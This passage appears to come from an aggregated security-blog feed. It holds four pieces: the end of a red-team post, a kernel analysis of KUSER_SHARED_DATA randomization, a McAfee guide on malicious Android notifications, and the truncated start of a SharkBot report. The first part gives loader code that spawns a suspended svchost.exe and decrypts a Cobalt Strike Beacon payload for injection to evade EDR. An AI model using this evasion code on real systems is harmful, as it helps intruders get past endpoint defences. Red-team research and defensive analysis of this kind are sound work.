    DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(DWORD64), NULL, NULL);

    si.StartupInfo.cb = sizeof(si);
    si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;

    if (!CreateProcessA(NULL, (LPSTR)"C:\\Windows\\System32\\svchost.exe", NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
        std::cout << "Could not spawn process" << std::endl;
        DeleteProcThreadAttributeList(si.lpAttributeList);
        return INVALID_HANDLE_VALUE;
    }

    DeleteProcThreadAttributeList(si.lpAttributeList);
    return pi.hProcess;
}

The Beacon payload is stored as an AES256 encrypted PE resource and decrypted in memory before being injected into the remote process.

HRSRC rc = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLOAD_BIN1), L"PAYLOAD_BIN");
DWORD rcSize = fpSizeofResource(NULL, rc);
HGLOBAL rcData = fpLoadResource(NULL, rc);

char* key = (char*)"16-byte-key-here";
const uint8_t iv[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };

int blenu = rcSize;
int klen = strlen(key);

int klenu = klen;
if (klen % 16)
    klenu += 16 - (klen % 16);

uint8_t* keyarr = new uint8_t[klenu];
ZeroMemory(keyarr, klenu);
memcpy(keyarr, key, klen);

uint8_t* bufarr = new uint8_t[blenu];
ZeroMemory(bufarr, blenu);
memcpy(bufarr, rcData, blenu);

pkcs7_padding_pad_buffer(keyarr, klen, klenu, 16);

AES_ctx ctx;
AES_init_ctx_iv(&ctx, keyarr, iv);
AES_CBC_decrypt_buffer(&ctx, bufarr, blenu);

Last but not least, I incorporated the Sleep_Mask directive in my Cobalt Strike Malleable C2 profile. This tells Cobalt Strike to obfuscate Beacon in memory before it goes to sleep by means of an XOR encryption routine.

The loader was able to execute Beacon undetected and with the help of my kernel driver running Mimikatz was but a click of the button.

On that bombshell, it’s time to end this internship and I think I can conclude that while having a kernel driver to tamper with EDR/AV is certainly useful, a majority of the detection mechanisms are still present in user land or are driven by signatures and rules for static detection.

6. Conclusion

During this Kernel Karnage series, I developed a kernel driver from scratch, accompanied by several different loaders, with the goal to effectively tamper with EDR/AV solutions to allow execution of common known tools which would otherwise be detected immediately. While there certainly are several factors limiting the deployment and application of a kernel driver (such as DSE, HVCI, Secure Boot), it turns out to be quite powerful in combination with user land evasion techniques and manages to address the AI/ML component of EDR/AV which would otherwise require a great deal of obfuscation and anti-sandboxing.

About the author

Sander is a junior consultant and part of NVISO’s red team. He has a passion for malware development and enjoys any low-level programming or stumbling through a debugger. When Sander is not lost in 1s and 0s, you can find him traveling around Europe and Asia. You can reach Sander on LinkedIn or Twitter.

Exploit Development: ASLR - Coming To A KUSER_SHARED_DATA Structure Near You!

23 February 2022 at 00:00

Introduction

A little while back I came across an interesting tweet that talked about some upcoming changes to KUSER_SHARED_DATA on Insider Preview builds of Windows 11.

This sentiment piqued my interest because KUSER_SHARED_DATA is a structure located at a static virtual address, in the traditional Windows kernel, of 0xfffff78000000000. From an exploitation perspective, this beast of a structure has been abused by adversaries for kernel exploitation, particularly remote kernel exploits, due to its static nature. Although KUSER_SHARED_DATA does not contain any interesting pointers to ntoskrnl.exe, nor is it executable, there is a section of memory that resides within the same page as KUSER_SHARED_DATA that contains no data and, thus, is abusable as a code cave with a static address.

Taking a look, KUSER_SHARED_DATA is 0x738 bytes in size on the latest build of Windows 11 Insider Preview (at the time of this blog post).

You may recall on Windows that a given memory “page” is 0x1000 bytes in size, or 4KB. Since KUSER_SHARED_DATA is 0x738 bytes in size there are still approximately 0x8C8 bytes of memory available for attackers to abuse. These unused bytes, therefore, still assume the same memory permissions as the rest of KUSER_SHARED_DATA, which is that of RW, or read/write. This means the “KUSER_SHARED_DATA code cave” is a readable and writable code cave which has a static address. Morten Schenk talked about this technique at his BlackHat 2017 talk, and I have also done a previous blog post outlining abusing this structure for code execution.

If this code cave were to be mitigated, an attacker would need to locate another place in memory to place their shellcode. Yes, it is true an adversary with a read/write primitive could corrupt the page table entry (PTE) corresponding to KUSER_SHARED_DATA in order to make the page writable. At this point, however, an adversary would have already needed to bypass kASLR and have a primitive to write to memory - meaning that an attacker already has, essentially, full control of the system. Where mitigation of this code cave comes into play is by making exploitation more arduous by forcing adversaries to prove they have a way to bypass kASLR before writing some nefarious code to memory. If an attacker cannot write directly to a static address, the attacker would therefore need to locate some other memory region. Thus, this would be classified as a smaller, more niche mitigation. In any case, I still found this an interesting topic to research.

Lastly, before beginning, this blog post is presented in context of ntoskrnl.exe and doesn’t translate to the secure kernel in virtual trust level 1 (VTL 1) when Virtualization-Based Security (VBS) is enabled. As Saar Amar pointed out, this structure is actually randomized in VTL 1.

0xfffff78000000000 Is Now Read-Only

My first thought about possible changes to KUSER_SHARED_DATA was that the memory address would finally (somehow) be completely randomized, especially after Saar’s previous tweet. To validate this I simply passed in the static address of KUSER_SHARED_DATA to the dt command in WinDbg and, to my surprise, the structure was still located at 0xfffff78000000000, after it parsing.

My next thought was to try and write to KUSER_SHARED_DATA, at an offset of 0x800, to look for any unexpected behavior. It was here I realized that KUSER_SHARED_DATA was now read-only, by examining the PTE.

The address provided below, 0xfffffe7bc0000000, is the virtual address of the PTE associated with the virtual address 0xfffff78000000000, or KUSER_SHARED_DATA. You can find the address on your system with the command in Windbg !pte 0xfffff78000000000. I have omitted these commands for readability of this blog, so as to not keep executing this command over and over again. This blog will inform readers what addresses correspond to what and how to find these addresses on your system.

This, at first, made sense. However, after talking with my coworker Yarden Shafir, there are things in KUSER_SHARED_DATA, such as the SystemTime member, which are constantly updated and, therefore, Yarden told me to keep digging, as there obviously was some way KUSER_SHARED_DATA was being written to/updated with a read-only PTE. This also makes sense, as I found out later, because the Dirty bit for the PTE that corresponds with KUSER_SHARED_DATA is set to 0, which means the page hasn’t been written to. So how exactly is this happening?

Armed with the following information, I went to IDA to look for anything interesting.

nt!MmWriteableUserSharedData To The Rescue!

After some searching in IDA for references to either 0xfffff78000000000 or terms like “UserShared”, I stumbled across a symbol I hadn’t seen before - nt!MmWriteableUserSharedData. In IDA, this symbol seems to be defined as 0xfffff78000000000.

However, when looking at a live kernel debugging session, I noticed the address seemed to be different. Not only that, after reboot, this address changed!

We can also see that the static 0xfffff78000000000 address and the new symbol both point to identical memory contents.

However, I was not yet satisfied. Were these two separate pages pointing to two separate structures that just contained identical contents? Or were they somehow intertwined? After viewing both of the PTEs in tandem, I confirmed that both of these virtual addresses, although different, both leveraged the same page frame number (PFN). The PTE for the “static” KUSER_SHARED_DATA and the new symbol nt!MmWriteableSharedUserData can be found with the following commands:

  1. !pte 0xfffff78000000000
  2. !pte poi(nt!MmWriteableSharedUserData)

As mentioned, the address of the PTE which corresponds with the “static” KUSER_SHARED_DATA structure is 0xfffffe7bc0000000. The address 0xfffffcc340c47010 is the virtual address which corresponds with the PTE of nt!MmWriteableSharedUserData.

A PFN multiplied by the size of a page (0x1000 generally speaking on Windows) will give you the physical address of the corresponding virtual address (in terms of a PTE, the “final” paging structure used to fetch a 4KB-aligned page). Since both of these virtual addresses contain the same PFN, this means that when converting the PFNs to physical addresses (0xfc1000 in this case), both virtual addresses are backed by the same physical page! We can confirm this by viewing the contents of the physical address backing each virtual address, as well as the virtual addresses themselves.

What we have here are two virtual addresses, with different memory permissions (one is read-only and the other is read/write) backed by one physical page. In other words, there are two virtual addresses with different views of the same physical memory. How is this possible?

tl;dr - Memory Sections

The main “gist” of the changes implemented surrounding KUSER_SHARED_DATA is the concept of memory sections. What this means is that a section of memory can essentially be shared by two processes (this is true for the kernel, as is in our case). The way this works is that the same physical memory can be mapped to a range of virtual addresses.

In this case, the new randomized read/write view of KUSER_SHARED_DATA, nt!MmWriteableUserSharedData (a virtual address) is backed by the same physical memory as the “static” KUSER_SHARED_DATA (another virtual address). This means that now there are two “views” of this structure, as seen below

This means that updating one of the virtual addresses (e.g. nt!MmWriteableSharedUserData) will update the other virtual address (0xfffff78000000000). This is because making a change to one of the virtual addresses will update the physical memory contents. Since the physical memory contents back both virtual addresses, both virtual addresses will receive updates. This provides a method for Windows to keep the old KUSER_SHARED_DATA address, while also allowing a new mapped view that is randomized, to “mitigate” the static read/write code cave traditionally found in KUSER_SHARED_DATA. The “old” address of 0xfffff78000000000 can now be marked as read-only, as there is a new view of this memory which can be used in its place, which is randomized!

If you were looking for a quick blog to talk about the changes made, that is perfectly okay and I will preface the remainder of this blog by saying that you may stop here if you were looking for a quick rundown of the higher-level details. The rest of this blog will outline the more intricate, lower-level details of the implementation.

If you are interested in how this looks at a bit of a deeper level, in terms of how Windows actually manifested these new updates, like myself, please feel free to read the rest of this blog post! I learned a great amount of technical details in terms of lower-level memory paging concepts, and just wanted to share these thoughts with anyone reading (should anyone care).

nt!MiProtectSharedUserPage

Before continuing with the analysis, permit me to introduce two terms. When I refer to the memory address 0xfffff78000000000, the static mapping of KUSER_SHARED_DATA, I will use the term “static” KUSER_SHARED_DATA from here on out. When I refer to the new “randomized mapping”, I will simply use the symbol name of nt!MmWriteableSharedUserData. This will allow me to delineate each time which “version” I am talking about.

After some dynamic analysis in WinDbg, I discovered the answer to my previous question about how these changes to KUSER_SHARED_DATA were implemented. I first started by setting a breakpoint on ntoskrnl.exe being loaded. It’s possible to do this, in an existing kernel debugging session, with the following commands:

  1. sxe ld nt
  2. .reboot

After the breakpoint is hit, we can actually see that the newly-found symbol nt!MmWriteableUserSharedData points to the “static” KUSER_SHARED_DATA address.

This is obviously indicative that this symbol is updated further along in the loading process.

While performing some reverse engineering to identify how this happens, I noticed an interesting cross reference to nt!MmWriteableSharedUserData in the function nt!MiProtectSharedUserPage via IDA.

While execution was still paused, as a result of the ntoskrnl.exe breakpoint, I set another breakpoint on the aforesaid function nt!MiProtectSharedUserPage and confirmed, after reaching the new breakpoint, the nt!MmWriteableSharedUserData symbol still pointed to the old 0xfffff78000000000 address.

Even more interesting, the “static” KUSER_SHARED_DATA’ is still static, readable, and writable at this point in the loading process! The below PTE address of 0xffffb7fbc0000000 is the virtual address of the PTE associated with the virtual address of 0xfffff78000000000. The PTE address has changed due to us rebooting the system as a result of the break-on-load of ntoskrnl.exe. As mentioned, this address can always be found on your system with the command !pte 0xfffff78000000000.

Since we know 0xfffff78000000000, the address of the “static” KUSER_SHARED_DATA structure, becomes read-only at some point, this is indicative of this function likely being responsible for changing the permissions of this address AND also dynamically filling nt!MmWriteableSharedUserData, especially based on naming convention.

Looking deeper into the disassembly of nt!MiProtectSharedUserPage we can see that the symbol nt!MmWriteableSharedUserData is updated with the value in RDI at the time that this instruction executes. But where does this value come from?

Let’s take a look at the beginning of the function. The first thing that stands out is the kernel-mode address and calls to nt!MI_READ_PTE_LOCK_FREE and nt!Feature_KernelSharedUserDataAaslr__private_IsEnabled (which isn’t very interesting for our purposes).

The kernel-mode address in the image above of 0xfffffb7000000000, outlined in a red box in the Disassembly window of WinDbg , is actually the base of the page table entries (e.g. the address of the PTE array). The second value, the constant of 0x7bc00000000, is the value used to index this PTE array to fetch the PTE associated with the “static” KUSER_SHARED_DATA. This value (the index into the PTE array) can be found with the following formula:

  1. Converting the target virtual address (in this case, 0xfffff78000000000) into a virtual page number (VPN) by dividing the address by the size of a page (0x1000 in this case)
  2. Multiply the VPN by the size of a PTE (64-bit system = 8 bytes)

We can see this by replicating this formula on the virtual address of 0xfffff78000000000. The resulting value will be the appropriate index into the PTE array to get the PTE associated with the “static” KUSER_SHARED_DATA. This can be seen in the Command window of WinDbg above.

This means the PTE associated with the “static” KUSER_SHARED_DATA is going to be passed in to nt!MI_READ_PTE_LOCK_FREE. The address of said PTE is 0xffffb7fbc0000000.

nt!MI_READ_PTE_LOCK_FREE, at a high level, will dereference the contents of the PTE and return them, while also performing a check on the in-scope page table entry to see if it is within the known address space of the PML4E array, which contains an array of PML4 page table entries for usage with the PML4 paging structure. Recall that the PML4 structure is the base paging structure. So, in other words, this ensures that the page table entry provided resides somewhere within the paging structures. This can be seen below.

However, slightly more nuanced, the function is actually checking to see if the page table entry resides within the “user mode paging structures”, known otherwise as the “shadow space”. Recall that with KVA Shadow’s implementation, Microsoft’s implementation of Kernel Page-Table Isolation (KPTI), there are now two sets of paging structures: one for kernel mode execution and one for user mode. This mitigation was used to mitigate Meltdown. This check is easily “bypassed”, as the PTE is obviously mapped to a kernel mode address and, thus, not represented by the “user mode paging structures”.

nt!MI_READ_PTE_LOCK_FREE then returns the dereferenced contents of the PTE (e.g. the PTE “bits”) if the PTE doesn’t reside within the “shadow space”. If the PTE does reside in the “shadow space”, there are a few more checks performed on the PTE to determine if KVAS is enabled before the contents are returned. This is not too important for the overall changes we are focusing on, from an exploitation perspective, but still a part of the overall “process”.

Additionally, nt!Feature_KernelSharedUserDataAslr__private_IsEnabled isn’t very useful to us, except for letting us know we are potentially on the right track by the naming convention. This function mainly seems to be for metrics and telemetry gathering about this feature.

Earlier, after the first call to nt!MI_READ_PTE_LOCK_FREE, the contents of the PTE for the “static” KUSER_SHARED_DATA were copied to a stack address - RSP at an offset of 0x20. This stack address, very similarly, is used in another call to nt!MI_READ_PTE_LOCK_FREE. This, again, isn’t particularly important to us - but it is part of the process.

More interestingly, however, is the fact that nt!MI_READ_PTE_LOCK_FREE dereferences the PTE contents and returns them via RAX. Since the PTE “bits” for the “static” KUSER_SHARED_DATA, which define the memory properties/permissions, are in RAX, they’re then acted upon in the subsequent bitwise-operations to extract the page frame number (PFN) from the PTE of the “static” KUSER_SHARED_DATA. This value is 0xf52e within the PTE, which has a value of 0x800000000000f52e863.

This PFN will be leveraged later on in a call to nt!MiMakeValidPte. For now, let’s move on.

We can now turn our attention to see that a call to nt!MiReservePtes is about to occur.

Please permit me to quickly provide a brief word on PFN records. A PFN “value” is technically just an abstract value that, when multiplied by 0x1000 (the size of a page), gives us a physical memory address. This is typically either the address of the next paging structure during the memory paging process, or it is used to fetch a final 4KB-aligned physical memory page if being leveraged by the “last” paging table, the PT (page table).

In addition to this, PFN records are also stored in an array of virtual addresses. This array is known as the PFN database. The reason for this is that the memory manager accesses page table entries via linear (virtual) addresses, which increases performance as the MMU does not need to walk all of the paging structures constantly to fetch PFNs, page table entries, etc. This provides an easy way for the records to just be referenced via an index into an array. This goes for all “arrays”, including the PTE array. A function such as nt!MiGetPteAddress performs an index into the corresponding page table array, such as the PTE array (for nt!MiGetPteAddress, PDE array (PDPT entries, done via nt!MiGetPdeAddress), etc.

Knowing this, we can see prior to the call to nt!MiReservePtes that the appropriate index into the PFN database that corresponds to the “static” KUSER_SHARED_DATA is calculated. This essentially means we are retrieving the virtual address of said PFN record (a MMPFN structure) from the PFN database.

We can see this as the base of the PFN database, 0xffffc38000000000 in this case, is involved in the operation. The final virtual address of 0xffffc380002df8a0 (the virtual address of the PFN record associated with the “static” KUSER_SHARED_DATA) can be seen below in RBP. It will eventually be used as the second argument in a future function call to nt!MiMakeProtectionPfnCompatible.

We can corroborate this by parsing the above virtual address as a MMPFN structure to see if the PteAddress member corresponds to the known PTE of the “static” KUSER_SHARED_DATA. As we know, the PTE is located at 0xffffb7fbc0000000.

The PteAddress member of the PFN structure aligns with the virtual address of the PTE associated with the “static” KUSER_SHARED_DATA - thus confirming this is the associated PFN record with the “static” KUSER_SHARED_DATA.

This value is then used in a call to nt!MiReservePtes, which we can see from two images ago. We know the first argument for this function will go into the RCX register, per the __fastcall calling convention. This argument is actually a nt!_MI_SYSTEM_PTE_TYPE structure.

According to CodeMachine, when a call to nt!MiReservePtes occurs, this structure is used to define what kind of allocation will occur in order to reserve memory for the PTE being created. Allocations, when requested with nt!MiReservePtes, may be suggestive of a request to allocate a piece of virtual memory from the System PTE region. The System PTE region is used for mapped views of memory, memory descriptor lists (MDLs), and other items. This information, in combination of our searching for an answer as to how two virtual addresses are backed by the same physical page, is very indicative of different “views” of memory being used (e.g. two virtual addresses correspond to one physical address so both virtual addresses contain the same contents but may have different permissions). Additionally, we can confirm that this allocation is coming from the System PTE region, as the VaType member of the nt!_MI_SYSTEM_PTE_TYPE structure is set to 9, which is a value in an enumeration that corresponds to MiVaSystemPtes. This means the allocation, in this case, will come from the System PTE memory region.

As we can see after the call occurs, the return value is a kernel-mode address within the same address space of the System PTE region, as defined by the BasePte member.

At this point, the OS has essentially allocated memory from the System PTE region, which is commonly used for mapping multiple views of memory, in the form of an unfilled PTE structure. The next step will be to properly configure this PTE and assign it to a memory address.

Said process continues with a call to nt!MiMakeProtectionPfnCompatible. As previously mentioned, the second argument for this function will be the virtual address of the PFN record, from the PFN database, associated with the PTE that is applied to the “static” KUSER_SHARED_DATA.

The first argument passed to nt!MiMakeProtectionPfnCompatible is a constant of 4 (which can be seen 4 screenshots below in the Command window of WinDbg). Where does this value come from? Taking a look at ReactOS we can see two constants that are outlined for memory permissions enforced by PTEs.

According to ReactOS, there is also a function called MI_MAKE_HARDWARE_PTE_KERNEL, which leverages these constants. The prototype and definition can be seen below.

This function provides a combination of the functionality exposed by both nt!MiMakeProtectionPfnCompatible and nt!MiMakeValidPte (which is a function we will see shortly). The value 4, or MM_READWRITE, is actually an index into an array called MmProtectToPteMask. This array is responsible for converting the requested permission of the page (4, or MM_READWRITE) to a PTE-compliant mask.

We can see the first five elements are as follows: {0, PTE_READONLY, PTE_EXECUTE, PTE_EXECUTE_READ, PTE_READWRITE}. From here we can confirm that indexing this array at the index of 4 will retrieve a PTE mask of PTE_READWRITE, which are exactly the memory permissions we would like nt!MmWriteableSharedUserData to assume, as we know this should be the “new mapped view” of KUSER_SHARED_DATA, which is writable. Recall also that the virtual address of the PFN record associated with the “static” KUSER_SHARED_DATA is used in the function call, via RDX.

After the function call, the return value is a “PTE-compatible” mask that represents a readable and writable page.

At this point we have:

  1. An address for our PTE, which is currently empty
  2. A “skeleton” for our PTE (e.g. a readable/writable mask to be supplied)

With this in the back of our mind, let’s now turn our attention to the call to nt!MiMakeValidPte.

nt!MiMakeValidPte essentially provides “the rest” of the functionality outlined by the ReactOS function MI_MAKE_HARDWARE_PTE_KERNEL. nt!MiMakeValiePte requires the following information:

  1. Address of the newly created, empty PTE (this PTE will be applied to the virtual address of nt!MmWriteableUserSharedData). This is currently in RCX
  2. A PFN. This is currently in RDX (e.g. not the virtual address from the PFN database, but the raw PFN “value”)
  3. A “PTE-compliant” mask (e.g. our read/write attributes). This is currently in R8

All of this information can be seen above in the previous screenshot.

In terms of “mapping different views of the same physical memory”, the most important component here is the value in RDX, which is the actual PFN value of KUSER_SHARED_DATA (the raw value, not the virtual address). Let’s recall first that a PFN, at a high level, is essentially a physical address, when multiplied by the size of a page (0x1000 bytes, or 4KB). This is true, especially in our case, as we are dealing with the most granular type of memory - a 4KB-aligned piece of memory. There are no more paging structures to index, which is usually what a PFN is used for. This means the PFN, in this case, is used to fetch a final, 4KB-aligned memory page.

We know that the function we are executing inside of (nt!MiProtectSharedUserPage) creates a PTE (via nt!MiReservePtes and nt!MiMakeValidPte). As we know, this PTE will be applied to a virtual address and used to map said virtual address to a physical page, essentially through the PFN associated with the PTE. Currently, the PFN that will be used for this mapping is stored in RDX. At a lower level, this value in RDX multiplied by the size of a page (4KB) will be the actual physical page the virtual address is mapped to.

Interestingly enough, this value in RDX, which was previously preserved after the second call to nt!MI_READ_PTE_LOCK_FREE, is the PFN associated with KUSER_SHARED_DATA! In other words, the virtual address we assign this newly created PTE to (which should eventually be nt!MmWriteableUserSharedData) will be backed by KUSER_SHARED_DATA’s physical memory and, thus, when updates are made to the contents of nt!MmWriteableUserSharedData the physical memory backing it will also be updated. Since the “static” KUSER_SHARED_DATA (0xfffff78000000000) is also backed by THE SAME physical memory it also will receive the updates. Essentially, even though the read-only “static” KUSER_SHARED_DATA can’t be written to it will still receive updates made by nt!MmWriteableUserSharedData, which is readable and writable. This is because both virtual addresses are backed by the same physical memory. Whatever happens to one of these will happen to the other!

Knowing this means that there is no good reason to have the “normal” (e.g. 0xfffff78000000000) KUSER_SHARED_DATA structure address be anything other than read-only, as there is now another memory address that can be used in its place. The benefit here is that the writable “version” or “mapping”, nt!MmWriteableUserSharedData, is randomized!

Moving on now, we are telling the OS we want a valid PTE that is readable and writable, backed by KUSER_SHARED_DATA’s PFN (physical address for all intents and purposes), and will be written to the PTE we have already allocated from the System PTE region (since this memory is being used for mapping “views”).

After executing the function, we can see this is the case!

The next function call, nt!MiPteInShadowRange, essentially just does bounds checking to see if our PTE resides in the shadow space. Recall earlier that with the implementation of Kernel Virtual Address Shadow (KVAS) that paging structures are separated: one set for user mode and one set for kernel mode. The “shadow space”, otherwise known as the structures used for user mode addressing, are within the range checked by nt!MiPteInShadowRange. Since we are dealing with a kernel mode page, obviously the PTE it is applied to is not within the “shadow space”. It is not really of interest to us for our purposes.

After this function call, a mov qword ptr [rdi], rbx instruction occurs. This updates our allocated PTE, which is still blank, with the proper bits created from our call to nt!MiMakeValidPte! We now have a valid PTE, backed by the same physical memory as KUSER_SHARED_DATA located at the virtual address of 0xfffff78000000000!

At this point, we are just a few instructions away from our target symbol of nt!MmWriteableUserSharedData being updated with the new ASLR’d mapped view of KUSER_SHARED_DATA. Then the “static” KUSER_SHARED_DATA can be made read-only (recall it is still read/write at this point in the loading process!).

Currently, in RDI, we have the address of the PTE we want to use for our new read/write and randomized mapped view of KUSER_SHARED_DATA (generated via nt!MiReservePtes). The above screenshot shows that there will be some bitwise operations performed on RDI and, as well, we can see that the base of the page table entries will be involved with this operation. These are simply compiler optimizations for converting a given PTE to the virtual address the PTE is applied to.

This is a necessary step, recall, as up until this point we have successfully generated a PTE from the System PTE region and have marked it as read/write, told it to use the “static” KUSER_SHARED_DATA as the physical memory backing the virtual memory, but we have not actually applied it to the virtual memory address which will be described and mapped by this PTE! This virtual address we want to apply this PTE to will be the value we want to store in nt!MmWriteableUserSharedData!

Let’s again recall the bitwise operations that are in place which will convert the new PTE to the virtual address it backs.

As we know, we have the target PTE in the RDI register. We know the steps to retrieve the PTE associated with a given virtual address are as follows, which indexes the PTE array appropriately:

  1. Convert the virtual address to a virtual page number (VPN) by dividing the virtual address by the size of a page (0x1000 bytes on a standard Window system)
  2. Multiply the above value with the size of a PTE (0x8 bytes on 64-bit system)
  3. Add the value to the base of the page table entry array

This corresponds to indexing the PTE array as follows: PteBaseArray[VPN]. Since we know how to go from a virtual address to a PTE, we should be able to reverse these steps to retrieve the virtual address associated with a given PTE.

With PTE in hand, the “reversed” process is as follows:

  1. Subtract the PTE array base address from the PTE sitting in RDI (our target PTE) to extract the index into the PTE array
  2. Divide the value by the size of a PTE (0x8 bytes) to retrieve the virtual page number (VPN)
  3. Multiply this value by the size of a page (0x1000) to retrieve the virtual address

We also know that the compiler generates a sar rdi, 10h instruction which will sign extend the value generated from the above steps. If we replicate this process within WinDbg we can see our final value (0x0000a580a4002000) would be converted to the address 0xffffa580a4002000.

Comparing our computed value with the kernel-produced value, we can see we now have the corresponding virtual address to our PTE, which now is backed by the same physical memory as KUSER_SHARED_DATA and both addresses match up to 0xffffa580a4002000! We can conclude the bitwise operations are part of some macro which converts PTEs to virtual addresses, and this is compiler-optimized code to do so!

This functionality is provided in ReactOS in the form of a function called MI_WRITE_VALID_PTE. As we can see it essentially not only writes the PTE contents to the PTE address (in this case the allocation from the System PTE region via nt!MiReservePtes) but it also fetches the virtual address associated with the PTE through the function MiPteToAddress.

Great! However, there is one last thing we need to do and that is convert the “static” KUSER_SHARED_DATA address to read-only. We can already see we are queued up for a call to nt!MiMakeProtectionPfnCompatible. In RCX, where the memory permission constant is, we can see a value of 1, or MM_READONLY if we recall earlier from when we created a PTE-compliant mask for the read/write mapping of KUSER_SHARED_DATA. In other words, the only memory “permissions’’ afforded to this page will be read.

RDX, which contains our index into the PFN array, shows we have the PFN associated with the “static” KUSER_SHARED_DATA by comparing the virtual address of the PTE for the “static” KUSER_SHARED_DATA (PTE located at 0xffffb7fbc0000000) to the PTE located in the PFN structure, MMPFN. This gives us a PTE-compliant value.

Identically to last time, now just with a read-only page, we setup a call to nt!MiMakeValidPte to assign to the “static” KUSER_SHARED_DATA read-only permissions, through the virtual address of its PTE (0xffffb7c000000000).

After the call succeeds, a PTE has been generated for use with pages intended to be read-only.

The “static” KUSER_SHARED_DATA gets updated through the same methods aforementioned (the method provided in ReactOS called MI_WRITE_VALID_PTE).

For our purposes, this is the end of the interesting things that nt!MiProtectSharedUserPage does! We now have two virtual addresses that are backed by KUSER_SHARED_DATA’s physical memory (one read-only, the “static” 0xfffff78000000000 KUSER_SHARED_DATA structure and a new nt!MmWriteableUserSharedData version which is randomized and read/write)!

We can now see in IDA, for instance, when KUSER_SHARED_DATA needs to be updated, this is done through the new symbol which is randomized and writable. The below image is taken from nt!KiUpdateTime, where we can see several offsets of KUSER_SHARED_DATA are updated (namely 0x328 and 0x320). On the same note, in the same photo, we can see that when members from KUSER_SHARED_DATA are read, Windows goes through the old “static” hard coded address (in this case, 0xfffff78000000008 and 0xfffff78000000320 in the IDA screenshot).

Exploitability Going Forward and Conclusion

Obviously, the same primitive of abusing this code cave no longer will exist, and one of the last (if not the last) static structure has now been mitigated, which attackers have abused in the past. However, with exploitation today, a kASLR bypass is surely needed to gain code execution. This is a smaller mitigation which forces an adversary to prove they can at least bypass kASLR fully in order to write code somewhere reliably. It goes without saying that it would be possible to “bypass” (better word is circumvent, versus “bypassing” the underlying feature), if you write to memory early enough in the kernel loading process via a race condition or some other primitive, to write your code to the static 0xfffff78000000000+0x800 KUSER_SHARED_DATA code cave, as we know this structure is still readable and writable when the kernel is first mapped into memory. However, when the kernel fully loads, this region will be read-only. But, nonetheless, it is still possible, due to the initialization happening during the kernel loading. There are public exploits which make use of this primitive, namely my friend and peer chompie1337’s SMBGhost proof-of-concept, so it was definitely worthwhile to pursue to not only raise the bar for attackers, but to break public exploits in their current state. This is a pretty niche change/mitigation, but I thought it nonetheless would be fun to blog about and I learned quite a bit about the System PTE region and memory views along the way.

As always feel free to please reach out with comments, questions, corrections, or suggestions!

Peace, love, and positivity :-)

Why Am I Getting All These Notifications on my Phone?

25 February 2022 at 17:15

Authored by Oliver Devane and Vallabh Chole  

Notifications on Chrome and Edge, both desktop browsers, are commonplace, and malicious actors are increasingly abusing this feature. McAfee previously blogged about how to change desktop browser settings to stop malicious notifications. This blog focuses on Chrome notifications on Android mobile devices such as phones and tablets, and how McAfee Mobile Security protects users from malicious sites leveraging these notifications.  

Where do these notifications come from? 

Most users are unaware of the source of these notifications. Permission is granted when a user clicks ‘Allow’ on a prompt within Android Chrome. 

Many malicious websites use language and images like the one above that entice the user to click ‘Allow’ such as ‘Just one more step! Click “Allow” to continue. Once allow is clicked, the website is added to a site permissions list, which will enable it to send notifications.  

What do they look like? 

The notifications will look like a usual Android notification which you will be used to seeing such as you have a new WhatsApp message or email. To identify the source of the notification, we need to look for the application name which is like the one highlighted in the red box below.  

The image above shows the notification came from Chrome and it is from the website premiumbros[.]com. This is something you should pay attention to as it will be needed when you want to stop annoying notifications.  

Why are some of them malicious? 

Some notifications like the ones in this blog are malicious as they attempt to trick users into believing that their mobile device is infected with a virus and some action is required. When the users click the notification, Chrome will load a website which will present them with a fake warning like the example below: 

Clicking either Cancel or Update Now on the above website will result in the same behavior. The browser will redirect the user to a google play store app so that they can download and install it.  

The malicious websites will flood your phone with several notifications. The screenshot below shows an example of this: 

Why do malicious actors do this? 

You may ask yourself, why do malicious actors try to get me to install a google play application? The people behind these scams receive a commission when these applications are installed on devices. They rely on deceptive tactics to trick users into installing them to maximize profits. 

How can I remove notifications? 

To remove a website’s notification permission, you need to change a Chrome setting. 

1- Find out the name of the website which is sending these notifications. This can be done by looking at the notification and noting down the name of the website. If we use this blog as an example, it would be premiumbros[.]com

2- Open the Chrome browser app which can be found by performing the following search: 

3- Click the three … on the top right hand of the application 

4- Scroll down and click on settings 

5- Click on Notifications 

6- Scroll down until you find the website which you identified in step 1 

7- Pres the blue radio button so it turns grey 

8- Notifications will now be disabled for that website. If you want to block multiple websites, click the radio button for them as well.  

How does McAfee Protect me? 

McAfee customers who have McAfee Mobile Security are protected against these malicious websites as long as they enable the ‘Safe Browsing’ feature within the application.  

Upon trying to access a malicious website such as the one in the blog it will be blocked as shown in the image below: 

 

Please read this guide on enabling the Safe Browsing feature within the Mobile Security Application. 

The post Why Am I Getting All These Notifications on my Phone? appeared first on McAfee Blog.

SharkBot: a “new” generation Android banking Trojan being distributed on Google Play Store

3 March 2022 at 19:23

Authors:

  • Alberto Segura, Malware analyst
  • Rolf Govers, Malware analyst & Forensic IT Expert

NCC Group, as well as many other researchers noticed a rise in Android malware last year, especillay Android banking malware. Within the Treat Intelligence team of NCC Group we’re looking closely to several of these malware families to provide valuable information to our customers about these threats. Next to the more popular Android banking malware NCC Group’s Threat Intelligence team also watches new trends and new families that arise and could be potential threats to our customers.

One of these ‘newer’ families is an Android banking malware called SharkBot. During our research NCC Group noticed that this malware was disturbed via the official Google play store. After discovery NCC Group immediately notified Google and decided to share our knowledge via this blog post.

Summary

SharkBot is an Android banking malware found at the end of October 2021 by the Cleafy Threat Intelligence Team. At the moment of writing the SharkBot malware doesn’t seem to have any relations with other Android banking malware like Flubot, Cerberus/Alien, Anatsa/Teabot, Oscorp, etc.

